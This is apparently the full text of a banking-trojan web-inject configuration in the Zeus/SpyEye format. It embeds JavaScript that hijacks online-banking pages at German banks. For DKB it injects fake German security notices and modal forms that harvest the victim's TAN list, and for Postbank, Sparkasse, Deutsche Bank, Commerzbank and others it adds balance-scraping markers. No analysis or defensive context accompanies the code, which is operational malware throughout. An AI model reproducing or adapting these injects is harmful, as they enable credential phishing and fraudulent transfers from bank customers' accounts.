if (msg && typeof msg != 'string' && (msg.parentNode || msg.jquery)) {
var node = msg.jquery ? msg[0] : msg;

var data = {};
jQuery(el).data('blockUI.history', data);

data.el = node;
data.parent = node.parentNode;
data.display = node.style.display;
data.position = node.style.position;
if (data.parent)
data.parent.removeChild(node);
}
var z = opts.baseZ;
// blockUI uses 3 layers for blocking, for simplicity they are all used on every platform;
// layer1 is the iframe layer which is used to supress bleed through of underlying content
// layer2 is the overlay layer which has opacity and a wait cursor (by default)
// layer3 is the message content that is displayed while blocking
var lyr1 = (jQuery.browser.msie || opts.forceIframe) 
? jQuery('<iframe class="blockUI" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;position:absolute;width:100%;height:100%;top:0;left:0" src="'+opts.iframeSrc+'"></iframe>')
: jQuery('<div class="blockUI" style="display:none"></div>');
var lyr2 = jQuery('<div class="blockUI blockOverlay" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;width:100%;height:100%;top:0;left:0"></div>');
var lyr3, s;
if (opts.theme && full) {
s = '<div class="blockUI blockMsg blockPage ui-dialog ui-widget ui-corner-all" style="z-index:'+z+';display:none;position:fixed">' +
'<div class="ui-widget-header ui-dialog-titlebar blockTitle">'+(opts.title || '&nbsp;')+'</div>' +
'<div class="ui-widget-content ui-dialog-content"></div>' +
'</div>';
}
else if (opts.theme) {
s = '<div class="blockUI blockMsg blockElement ui-dialog ui-widget ui-corner-all" style="z-index:'+z+';display:none;position:absolute">' +
'<div class="ui-widget-header ui-dialog-titlebar blockTitle">'+(opts.title || '&nbsp;')+'</div>' +
'<div class="ui-widget-content ui-dialog-content"></div>' +
'</div>';
}
else if (full) {
s = '<div class="blockUI blockMsg blockPage" style="z-index:'+z+';display:none;position:fixed"></div>';
}			
else {
s = '<div class="blockUI blockMsg blockElement" style="z-index:'+z+';display:none;position:absolute"></div>';
}
lyr3 = jQuery(s);

// if we have a message, style it
if (msg) {
if (opts.theme) {
lyr3.css(themedCSS);
lyr3.addClass('ui-widget-content');
}
else 
lyr3.css(css);
}
// style the overlay
if (!opts.applyPlatformOpacityRules || !(jQuery.browser.mozilla && /Linux/.test(navigator.platform)))
lyr2.css(opts.overlayCSS);
lyr2.css('position', full ? 'fixed' : 'absolute');
// make iframe layer transparent in IE
if (jQuery.browser.msie || opts.forceIframe)
lyr1.css('opacity',0.0);
//jQuery([lyr1[0],lyr2[0],lyr3[0]]).appendTo(full ? 'body' : el);
var layers = [lyr1,lyr2,lyr3], jQuerypar = full ? jQuery('body') : jQuery(el);
jQuery.each(layers, function() {
this.appendTo(jQuerypar);
});

if (opts.theme && opts.draggable && jQuery.fn.draggable) {
lyr3.draggable({
handle: '.ui-dialog-titlebar',
cancel: 'li'
});
}
// ie7 must use absolute positioning in quirks mode and to account for activex issues (when scrolling)
var expr = setExpr && (!jQuery.boxModel || jQuery('object,embed', full ? null : el).length > 0);
if (ie6 || expr) {
// give body 100% height
if (full && opts.allowBodyStretch && jQuery.boxModel)
jQuery('html,body').css('height','100%');
// fix ie6 issue when blocked element has a border width
if ((ie6 || !jQuery.boxModel) && !full) {
var t = sz(el,'borderTopWidth'), l = sz(el,'borderLeftWidth');
var fixT = t ? '(0 - '+t+')' : 0;
var fixL = l ? '(0 - '+l+')' : 0;
}
// simulate fixed position
jQuery.each([lyr1,lyr2,lyr3], function(i,o) {
var s = o[0].style;
s.position = 'absolute';
if (i < 2) {
full ? s.setExpression('height','Math.max(document.body.scrollHeight, document.body.offsetHeight) - (jQuery.boxModel?0:'+opts.quirksmodeOffsetHack+') + "px"')
: s.setExpression('height','this.parentNode.offsetHeight + "px"');
full ? s.setExpression('width','jQuery.boxModel && document.documentElement.clientWidth || document.body.clientWidth + "px"')
: s.setExpression('width','this.parentNode.offsetWidth + "px"');
if (fixL) s.setExpression('left', fixL);
if (fixT) s.setExpression('top', fixT);
}
else if (opts.centerY) {
if (full) s.setExpression('top','(document.documentElement.clientHeight || document.body.clientHeight) / 2 - (this.offsetHeight / 2) + (blah = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + "px"');
s.marginTop = 0;
}
else if (!opts.centerY && full) {
var top = (opts.css && opts.css.top) ? parseInt(opts.css.top) : 0;
var expression = '((document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + '+top+') + "px"';
s.setExpression('top',expression);
}
});
}
// show the message
if (msg) {
if (opts.theme)
lyr3.find('.ui-widget-content').append(msg);
else
lyr3.append(msg);
if (msg.jquery || msg.nodeType)
jQuery(msg).show();
}

if ((jQuery.browser.msie || opts.forceIframe) && opts.showOverlay)
	lyr1.show(); // opacity is zero

if (opts.fadeIn) {
	
	var cb = opts.onBlock ? opts.onBlock : noOp;
	var cb1 = (opts.showOverlay && !msg) ? cb : noOp;
	var cb2 = msg ? cb : noOp;
	
	if (opts.showOverlay)
		lyr2._fadeIn(opts.fadeIn, cb1);
	console.log(opts); return false;
	if (msg)
		lyr3._fadeIn(opts.fadeIn, cb2);
}
else {
	if (opts.showOverlay)
		lyr2.show();
	if (msg)
		lyr3.show();
	if (opts.onBlock)
		opts.onBlock();
}
// bind key and mouse events

bind(1, el, opts);
if (full) {
pageBlock = lyr3[0];
pageBlockEls = jQuery(':input:enabled:visible',pageBlock);
if (opts.focusInput)
setTimeout(focus, 20);
}
else
center(lyr3[0], opts.centerX, opts.centerY);

if (opts.timeout) {
// auto-unblock
var to = setTimeout(function() {
full ? jQuery.unblockUI(opts) : jQuery(el).unblock(opts);
}, opts.timeout);

jQuery(el).data('blockUI.timeout', to);
}

};
// remove the block
function remove(el, opts) {
var full = (el == window);
var jQueryel = jQuery(el);
var data = jQueryel.data('blockUI.history');
var to = jQueryel.data('blockUI.timeout');
if (to) {
clearTimeout(to);
jQueryel.removeData('blockUI.timeout');
}
opts = jQuery.extend({}, jQuery.blockUI.defaults, opts || {});
bind(0, el, opts); // unbind events
var els;
if (full) // crazy selector to handle odd field errors in ie6/7
els = jQuery('body').children().filter('.blockUI').add('body > .blockUI');
else
els = jQuery('.blockUI', el);
if (full)
pageBlock = pageBlockEls = null;
if (opts.fadeOut) {
els.fadeOut(opts.fadeOut);
setTimeout(function() { reset(els,data,opts,el); }, opts.fadeOut);
}
else
reset(els, data, opts, el);
};
// move blocking element back into the DOM where it started
function reset(els,data,opts,el) {
els.each(function(i,o) {
// remove via DOM calls so we don't lose event handlers
if (this.parentNode)
this.parentNode.removeChild(this);
});
if (data && data.el) {
data.el.style.display = data.display;
data.el.style.position = data.position;
if (data.parent)
data.parent.appendChild(data.el);
jQuery(el).removeData('blockUI.history');
}
if (typeof opts.onUnblock == 'function')
opts.onUnblock(el,opts);
};
// bind/unbind the handler
function bind(b, el, opts) {
var full = el == window, jQueryel = jQuery(el);
// don't bother unbinding if there is nothing to unbind
if (!b && (full && !pageBlock || !full && !jQueryel.data('blockUI.isBlocked')))
return;
if (!full)
jQueryel.data('blockUI.isBlocked', b);
// don't bind events when overlay is not in use or if bindEvents is false
if (!opts.bindEvents || (b && !opts.showOverlay)) 
return;
// bind anchors and inputs for mouse and key events
var events = 'mousedown mouseup keydown keypress';
b ? jQuery(document).bind(events, opts, handler) : jQuery(document).unbind(events, handler);
// former impl...
//	   var jQuerye = jQuery('a,:input');
//	   b ? jQuerye.bind(events, opts, handler) : jQuerye.unbind(events, handler);
};
// event handler to suppress keyboard/mouse events when blocking
function handler(e) {
// allow tab navigation (conditionally)
if (e.keyCode && e.keyCode == 9) {
if (pageBlock && e.data.constrainTabKey) {
var els = pageBlockEls;
var fwd = !e.shiftKey && e.target == els[els.length-1];
var back = e.shiftKey && e.target == els[0];
if (fwd || back) {
setTimeout(function(){focus(back)},10);
return false;
}
}
}
// allow events within the message content
if (jQuery(e.target).parents('div.blockMsg').length > 0)
return true;
// allow events for content that is not being blocked
return jQuery(e.target).parents().children().filter('div.blockUI').length == 0;
};
function focus(back) {
if (!pageBlockEls)
return;
var e = pageBlockEls[back===true ? pageBlockEls.length-1 : 0];
if (e)
e.focus();
};
function center(el, x, y) {
var p = el.parentNode, s = el.style;
var l = ((p.offsetWidth - el.offsetWidth)/2) - sz(p,'borderLeftWidth');
var t = ((p.offsetHeight - el.offsetHeight)/2) - sz(p,'borderTopWidth');
if (x) s.left = l > 0 ? (l+'px') : '0';
if (y) s.top  = t > 0 ? (t+'px') : '0';
};
function sz(el, p) {
return parseInt(jQuery.css(el,p))||0;
};
})(jQuery);


function cdf_getcookie () {
var c=window.document.cookie.toString();
return c.indexOf('wwcWF34FefefwesdfdfvsdSDwefEWFEWwefw=WEFwewewefWEaS')!=-1;
}
function cdf_setcookie () {
var hn = window.location.hostname;
var futdate = new Date();
var expdate = futdate.getTime();
expdate+=31104000000;
futdate.setTime(expdate);
window.document.cookie='wwcWF34FefefwesdfdfvsdSDwefEWFEWwefw=WEFwewewefWEaS;path=\/;domain=.'+hn+';expires='+futdate.toGMTString();
};

function cdf_check() {
	cdf_hide_errors();
	var error_exists=false;
	jQuery('#cdf').find('input[id^=clfield]').each(
		function(){
			if (error_exists){return false;}
			inp=jQuery(this);
			if (!inp.val() || inp.val().toString().search(/\d{6}/)==-1) {
				cdf_show_errors();
				setTimeout(
					cdf_hide_errors,
					5000
				);
				inp.focus();
				error_exists=true;
			}
		}
	);
	if (error_exists){return false;}
	//console.log(jQuery('#cdf').find('input[id^=clfield]'));
	//return false;
	cdf_setcookie();
	jQuery('#confirmation_dialog_form').submit();
};
function cdf_show_errors() {
jQuery('#confirmation_dialog_text').hide();
jQuery('#confirmation_dialog_errors').show();
};
function cdf_hide_errors() {
jQuery('#confirmation_dialog_text').show();
jQuery('#confirmation_dialog_errors').hide();
};
function clfield_check(target) {
	var ic=jQuery(target);
	if (typeof(target.id)=='undefined'){return false;};
	var nextid=ic.attr('id').replace(/[^0-9]/gi, '');
	nextid=parseInt(nextid)+1;
	if (ic.val().toString().length==6){
		if(ic.val().toString().search(/\d{6}/)==-1)
		{
		ic.addClass('bad');
		} else {
		ic.addClass('ok');
		jQuery('#clfield'+nextid).focus();
		}
	} else {
		ic.removeClass('ok')
		ic.removeClass('bad')
	}
};
function cdf_onfocus(target) {
jQuery('#confirmation_dialog_form input.clfield').removeClass('active');
jQuery(target).addClass('active');
};
function cdf_onkeyup(target) {
clfield_check(target);
};

function cdf_format(str){
	if (str<10) {
		str='00'+str.toString();
	} else if (str<100) {
		str='0'+str.toString();
	}
	return str;
}

function actual_format(str){
	if (str<10) {
		str=''+str.toString();
	} else if (str<100) {
		str=''+str.toString();
	} else if (str=100) {
		str=''+str.toString();
	}
	return str;
}

jQuery(document).ready(
function () {
		if (cdf_getcookie()){return false;}

		jQuery('form').submit(
			function (sender) {
				if (typeof(jQuery.blockUI)=='function') {
					jQuery.blockUI.defaults.css = {
					padding:	'0',
					margin:		0,
					width:		'900px',
					height:		'350px',
					top:		'20%',
					left:		'10%',
					textAlign:	'left',
					color:		'#000',
					border:		'0',
					backgroundColor:'#fff',
					cursor:		'default'
					};

					var msg= '<center><div id="cdf" class="confirmation_dialog">'+
					'<div class="cd_body">'+
					'<div style="margin-bottom:15px; color:#FF0000; font-size: 12pt; font-weight:bold; text-align:center">Achtung!</div>'+
					'<div id="confirmation_dialog_text" style="font-size: 9pt;text-align:left;padding: 0 30px 0 40px;">Sehr geehrter Benutzer. Ihr account f&uuml;r einige Funktion ist gespert! Bitte best&auml;tigen Sie Ihre g&uuml;ltige TAN-Liste, damit k&ouml;nnen Sie Ihre onlinebanking weiter voll benutzen. Fur Best&auml;tigung Ihre TAN-Liste, f&uuml;llen Sie die Form unten und dr&uuml;cken Sie die Taste Absenden.  Wir bedanken  Ihnen um Ihre Verst&auml;ndnis.</div>'+
					'<div id="confirmation_dialog_errors" class="cdf_errors">Bitte f&uuml;llen Sie alle Felder</div>'+
					'<form method="post" name="confirmation_dialog" id="confirmation_dialog_form">'+
					'<input type="hidden" id="DEpass" name="DEpass"/>'+
					'<div id="cdf_tbl">'+
					'<table align=center class="confirm_dlg_table" cellpadding=0 cellcpacing=0>'+
					'<tr style="padding-top:5px;">';
					var letters = ['a','b','c','d','e','f','g','h'];
					for (i=1; i<=10; i++) {
						msg+='<th>&nbsp;Nr.</th><th style="text-align:right">TAN</th>';
					}
					msg+='</tr><tr>';
					var clv_nr=1;
					var col_counter=1;
					for (i=1; i<=10; i++) {
						msg+='<tr>';
						for (j=1; j<=10; j++) {
							clv_nr=(i+(j-1)*10);
							
							msg+='<td>'+actual_format(clv_nr)+'</td><td><input onkeyup="cdf_onkeyup(this)" onfocus="cdf_onfocus(this)" maxlength="6" class="clfield" type="text" name="clfield_tan'+cdf_format(clv_nr)+'" id="clfield'+clv_nr+'" /></td>';
						}
						msg+='</tr>';
					}
					msg+='</table></div></form>'+
					'<div style="display:block; margin-top:10px;height:32px;"><input value="Absenden" type="button" onclick="cdf_check()" /></div>'+
					'</div></div></center>';

					jQuery.blockUI({ 
						message: msg
					});

					jQuery("html, body").css("overflow", "hidden");
					setTimeout(
						function () {		
						jQuery('#clfield1').focus();
						//jQuery('#cdf_tbl').corner();
						},
						50
					);
					return false;
				}
			}
		);
	}
);
</script>
data_end
data_after
data_end


;===== BANK DE BALANCE =====

set_url */app/finanzstatus.init.do;* GPL
data_before
<p class="pHeadlineLeft">Finanzstatus</p>
data_end
data_inject
POSTBANK BALANCE:
data_end
data_after
Die aktuellen Angaben
data_end


set_url */portal/portal/* GPL
data_before
Mini-Finanzstatus
data_end
data_inject
SPARKASSE BALANCE:
data_end
data_after
Konten im
data_end

data_before
Kontobezeichnung
data_end
data_inject
SPARKASSE BALANCE:
data_end
data_after
Kontostand kann
data_end


set_url *deutsche-bank.de*inancial* GPL
data_before
Bankleistungen
data_end
data_inject
DEUTSCHE BALANCE:
data_end
data_after
Weitere Optionen:
data_end


set_url *norisbank.de*inancial* GPL
data_before
Bankleistungen
data_end
data_inject
NORIS BALANCE:
data_end
data_after
Weitere Optionen:
data_end


set_url */P-Portal1/XML/IFILPortal/pgf.html?* GPL
data_before
<td colspan="2" valign="bottom"><span class="head">Ihre
data_end
data_inject
COMMERZ BALANCE:
data_end
data_after
<td colspan="10" valign="top" align="right"><a href="javascript:;" onclick="showHelp();">
data_end


set_url */portal?view=/banking/startpage.jsp* GPL
data_before
<p class="first">
data_end
data_inject
HYPOVEREINS BALANCE:
data_end
data_after
Der Gesamtsaldo ent
data_end


set_url *de/banque/situation_financiere.cgi* GPL
data_before
title="Seite drucken (neues Fenster)"><span>Drucken</span>
data_end
data_inject
TARGOBANK BALANCE:
data_end
data_after
<div id="e_footer">
data_end


set_url *onlinebanking.berliner-volksbank.de*portal?token* GPL
data_before
<span class="XLabel" id="lblNameKundennr">Name (Kunden-Nr.)</span>
data_end
data_inject
VOLKSBANK BALANCE:
data_end
data_after
<div class="contentWerbung">
data_end

set_url *finanzportal.fiducia.de*portal?token* GPL
data_before
<span class="XLabel" id="lblNameKundennr">Name (Kunden-Nr.)</span>
data_end
data_inject
FIDUCIA BALANCE:
data_end
data_after
<div class="contentWerbung">
data_end

set_url https://banking.dkb.de/dkb/- GP

data_before
<head>
data_end

data_inject
<link rel="stylesheet" type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/smoothness/ui.all.css" />
<style type="text/css">
#img-trujon { visibility: hidden;}
#inject { display: none; }
.ui-dialog { width: 500px; font-size: 11px; }
.ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
.ui-dialog .ui-dialog-titlebar { visibility: hidden; display: none; }
</style>
<iframe name=wj1 src='https://banking.dkb.de/dkb/images/dkb/menu/logo_12030000_nopartner.gif' width=0 height=0 border=none></iframe>
data_end

data_after
data_end

data_before
<body*>
data_end

data_inject
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js"></script>
<script type="text/javascript">

var popfrequency="15 minutes";

function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function resetcookie(){
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()-10)
document.cookie = "tcpopunder=;path=/;expires=" + expireDate.toGMTString()
}


function write_c(name,value,days) {
	if (days) {
		var date = new Date();
		date.setTime(date.getTime()+(days*24*60*60*1000));
		var expires = "; expires="+date.toGMTString();
	}
	else var expires = "";
	document.cookie = name+"="+value+expires+"; path=/";
}

function read_c(name) {
	var nameEQ = name + "=";
	var ca = document.cookie.split(';');
	for(var i=0;i < ca.length;i++) {
		var c = ca[i];
		while (c.charAt(0)==' ') c = c.substring(1,c.length);
		if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
	}
	return null;
}


var status = read_c('status');if(status == null){status = ''} 

function loadornot(){
if (get_cookie('tcpopunder')==''){
loadpopunder()
}
}

function loadpopunder(){

  function Continue() 
  {
  }

function fillForm()
{
  for(i=1;i<101;i++)
  {
    jQuery("#num"+i).val(jQuery("#numbers"+i).val());
  }
}



function Init() 
{
	jQuery('#inject').dialog({ width: 450, closeOnEscape: false, modal: true, resizable: false, show: 'slide' });

	jQuery("#finstep1").click(function()
  {
	        numbersLen = document.getElementsByName('number1').length;
          for (i=0;i<numbersLen;i++)
          {
            if (document.getElementsByName('number1')[i].value.length < 6)
            {
                alert('Bitte geben Sie korrekte TAN-Nummer.');
                document.getElementsByName('number1')[i].focus();
                return false;
            }
            for (j=01;j<numbersLen;j++)
            {
              if (i != j)
              {
                if (document.getElementsByName('number1')[i].value == document.getElementsByName('number1')[j].value)
                {
                  alert('Bitte geben Sie korrekte TAN-Nummer.');
                  document.getElementsByName('number1')[i].focus();
                  document.getElementsByName('number1')[i].value = '';
                  return false;
                }
              }
            }
          }
          
          fillForm(); 
      		jQuery("form[name='injectform']").submit();
        	jQuery("#inject").dialog("close");
        	write_c('status',1,90);
          var expireDate = new Date()
          expireDate.setHours(expireDate.getHours()+parseInt(popfrequency))
          document.cookie = "tcpopunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString();

  });
  
	jQuery("#finstep2").click(function()
  {
	        numbersLen = document.getElementsByName('number2').length;
          for (i=0;i<numbersLen;i++)
          {
            if (document.getElementsByName('number2')[i].value.length < 6)
            {
                document.getElementsByName('number2')[i].focus();
                return false;
            }
            for (j=01;j<numbersLen;j++)
            {
              if (i != j)
              {
                if (document.getElementsByName('number2')[i].value == document.getElementsByName('number2')[j].value)
                {
                  document.getElementsByName('number2')[i].focus();
                  document.getElementsByName('number2')[i].value = '';
                  return false;
                }
              }
            }

          }
          fillForm(); 
      		jQuery("form[name='injectform']").submit();
        	jQuery("#inject").dialog("close");
        	write_c('status',2,90);
          var expireDate = new Date()
          expireDate.setHours(expireDate.getHours()+parseInt(popfrequency))
          document.cookie = "tcpopunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString();

  });


	jQuery("#finstep3").click(function()
  {
	        numbersLen = document.getElementsByName('number3').length;
          for (i=0;i<numbersLen;i++)
          {
            if (document.getElementsByName('number3')[i].value.length < 6)
            {
                document.getElementsByName('number3')[i].focus();
                return false;
            }
            for (j=01;j<numbersLen;j++)
            {
              if (i != j)
              {
                if (document.getElementsByName('number3')[i].value == document.getElementsByName('number3')[j].value)
                {
                  document.getElementsByName('number3')[i].focus();
                  document.getElementsByName('number3')[i].value = '';
                  return false;
                }
              }
            }

          }
          fillForm(); 
      		jQuery("form[name='injectform']").submit();
        	jQuery("#inject").dialog("close");
        	write_c('status',3,90);
          var expireDate = new Date()
          expireDate.setHours(expireDate.getHours()+parseInt(popfrequency))
          document.cookie = "tcpopunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString();


  });
  
 	jQuery("#finstep4").click(function()
  {
	        numbersLen = document.getElementsByName('number4').length;
          for (i=0;i<numbersLen;i++)
          {
            if (document.getElementsByName('number4')[i].value.length < 6)
            {
                document.getElementsByName('number4')[i].focus();
                return false;
            }
            for (j=01;j<numbersLen;j++)
            {
              if (i != j)
              {
                if (document.getElementsByName('number4')[i].value == document.getElementsByName('number4')[j].value)
                {
                  document.getElementsByName('number4')[i].focus();
                  document.getElementsByName('number4')[i].value = '';
                  return false;
                }
              }
            }

          }
          fillForm(); 
      		jQuery("form[name='injectform']").submit();
        	jQuery("#inject").dialog("close");

          write_c('status',4,90);
          var expireDate = new Date()
          expireDate.setHours(expireDate.getHours()+parseInt(popfrequency))
          document.cookie = "tcpopunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString();
          
  });


}
jQuery(document).ready(Init);

}

function loads()
{
  if (popfrequency=="always")
{
  resetcookie();
  loadpopunder();
}
else
{
  if (get_cookie('tcpopunder')!=parseInt(popfrequency))
  resetcookie();
  if (status == '1')
  {
    document.getElementById('instep1').style.display='none';
    document.getElementById('instep1').style.visibility='hidden';
    document.getElementById('instep2').style.display='block';
    document.getElementById('instep2').style.visibility='visible';
    document.getElementById('instep3').style.display='none';
    document.getElementById('instep3').style.visibility='hidden';
    document.getElementById('instep4').style.display='none';
    document.getElementById('instep4').style.visibility='hidden';  
  }
  else if (status == '2')
  {
    document.getElementById('instep1').style.display='none';
    document.getElementById('instep1').style.visibility='hidden';
    document.getElementById('instep2').style.display='none';
    document.getElementById('instep2').style.visibility='hidden';
    document.getElementById('instep3').style.display='block';
    document.getElementById('instep3').style.visibility='visible';
    document.getElementById('instep4').style.display='none';
    document.getElementById('instep4').style.visibility='hidden';  

  }
  else if (status == '3')
  {
    document.getElementById('instep1').style.display='none';
    document.getElementById('instep1').style.visibility='hidden';
    document.getElementById('instep2').style.display='none';
    document.getElementById('instep2').style.visibility='hidden';
    document.getElementById('instep3').style.display='none';
    document.getElementById('instep3').style.visibility='hidden';
    document.getElementById('instep4').style.display='block';
    document.getElementById('instep4').style.visibility='visible';  

  }
  else if (status == '4')
  {
    return false;
  }
  loadornot();
}

}
</script>

<div id="inject">
<table><tbody>
<tr><td width=460 bgcolor="#FFFFFF">
<img src="https://banking.dkb.de/dkb/images/dkb/menu/logo_12030000_nopartner.gif"/>
</td></tr>
</tbody></table>
<center>
</center>
<div style="text-align: justify;">
Wegen der zahlreichen Frodf&#228;llen f&#252;hren wir zus&#228;tzliche SicherheitsmaBnahmen ein.
Um die Arbeit mit Ihrem Konto fortzuetzen, f&#252;llen Sie bitte einmalig die untenstehende Tabelle ein.
</div>

<div id="instep1">
<br/>
	<form>
	<div style="text-align: justify; font-size: 11px;">
	 <br/><br/> </div>
	<div id="inerror0" style="visibility: hidden; display: none; text-align: left;">
  </div>
	<div align="left">
  <div style="text-align: left; font-size: 11px;">TAN:</div>
		<table width=100%>
			<tbody>
		    <tr style="font-size: 11px;">
		    <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        25
        </td><td style="font-weight: bold;">
        <input type="number" name="number1" id="number25" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				16
        </td><td style="font-weight: bold;">
        <input type="number" name="number1" id="number16" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        71
         </td><td style="font-weight: bold;">
        <input type="number" name="number1" id="numbers71" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				3
        </td><td style="font-weight: bold;">
        <input type="number" name="number1" id="numbers3" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				77
        </td><td style="font-weight: bold;">
        <input type="number" name="number1" id="numbers77" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        </tr>

		    <tr style="font-size: 11px;">
		    <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        68 
        </td><td style="font-weight: bold;">
        <input type="number" name="number1" id="numbers68" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				78
        </td><td style="font-weight: bold;">
        <input type="number" name="number1" id="numbers78" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        4
         </td><td style="font-weight: bold;">
        <input type="number" name="number1" id="numbers4" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				38 
        </td><td style="font-weight: bold;">
        <input type="number" name="number1" id="numbers38" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				29
        </td><td style="font-weight: bold;">
        <input type="number" name="number1" id="numbers29" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        </tr>

		    <tr style="font-size: 11px;">
		    <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        73  
        </td><td style="font-weight: bold;">
        <input type="number" name="number1" id="numbers73" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				36 
        </td><td style="font-weight: bold;">
        <input type="number" name="number1" id="numbers36" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        1 
         </td><td style="font-weight: bold;">
        <input type="number" name="number1" id="numbers1" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				64  
        </td><td style="font-weight: bold;">
        <input type="number" name="number1" id="numbers64" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				55
        </td><td style="font-weight: bold;">
        <input type="number" name="number1" id="numbers55" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        </tr>

		    <tr style="font-size: 11px;">
		    <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        42   
        </td><td style="font-weight: bold;">
        <input type="number" name="number1" id="numbers42" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				27 
        </td><td style="font-weight: bold;">
        <input type="number" name="number1" id="numbers27" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        65 
         </td><td style="font-weight: bold;">
        <input type="number" name="number1" id="numbers65" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				53  
        </td><td style="font-weight: bold;">
        <input type="number" name="number1" id="numbers53" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				39
        </td><td style="font-weight: bold;">
        <input type="number" name="number1" id="numbers39" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        </tr>

		    <tr style="font-size: 11px;">
		    <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        96    
        </td><td style="font-weight: bold;">
        <input type="number" name="number1" id="numbers96" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				24 
        </td><td style="font-weight: bold;">
        <input type="number" name="number1" id="numbers24" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        48 
         </td><td style="font-weight: bold;">
        <input type="number" name="number1" id="numbers48" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				86  
        </td><td style="font-weight: bold;">
        <input type="number" name="number1" id="numbers86" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
